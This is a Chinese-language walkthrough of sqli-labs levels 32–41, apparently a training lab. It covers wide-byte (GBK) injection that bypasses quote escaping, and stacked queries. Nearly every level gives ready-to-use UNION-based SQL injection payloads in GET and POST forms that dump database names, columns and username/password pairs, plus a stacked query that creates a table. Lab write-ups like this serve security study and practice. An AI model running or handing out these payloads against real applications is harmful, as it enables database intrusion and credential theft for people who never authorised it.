Less 32
这一关涉及到了一个新的知识点——宽字节注入。
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。
具体可参考链接:https://blog.csdn.net/helloc0de/article/details/76180190
URL编码的解码网站: http://www.mytju.com/classcode/tools/urldecode_gb2312.asp
爆库:?id=-1%E6' union select 1,version(),database() --+
'user'用十六进制编码替代,
爆列: ?id=-1%E6' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+
爆用户名密码:?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from users--+
Less 33
这一关是使用函数过滤。而上一关用的是自定义过滤。
跟上一关用一样的代码就好
Less 34
这一关绕过添加斜杠,用的也是前两个post的方法。
获取数据库版本和名:uname=admin%99' union select version(),database()#&passwd=admin&submit=Submit
获取用户名密码:uname=admin%99' union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit
爆列名的时候要注意'users'的转义。。。和前面两关一样
Less 35
这一关测试的时候发现,id没有数据包裹,直接注入就好。
爆库:?id=-1 union select 1,version(),database()--+
爆表:id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆列:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#(注意user的转义)
爆用户名密码:?id=-1 union select 1,2,group_concat(username,0x7e,password) from users--+
Less 36
这关与前面的区别就是使用的转义函数不一样,也可以使用前面的宽字节注入解决或者utf-16 。
(宽字节)获得用户名密码:?id=0%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
(utf-16)获得用户名密码:?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from users--+
Less 37
这一关和34关类似,都是post的形式。。
爆库名:uname=admin%df%27 or 1=2 union select 1,database()#&passwd=1&submit=Submit
爆用户名密码:uname=admin%99' union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit
Less 38
这一关用到了堆叠注入,
从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。
而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ;表示语句结束。
union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
具体可以自行百度一哈。。。
我们可以用联合查询爆出数据:
但是这一关是要我们堆叠注入。。。
新建表: ?id=1';create table qiyuan like users;%23
查表:?id=0%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
我们发现我们新建的表就可以查到了。。
Less 39
跟38关一样。就是没有单引号的闭合。。不再陈述
Less 40
跟38关一样。加了个括号。
我在这把这几关命令放这了:
爆库: union select 1,version(),database() %23
爆表: union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
爆列: union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23
爆用户名密码: union select 1,group_concat(username),group_concat(password) from security.users where 1 %23
Less 41
跟39关一样,错误不回显。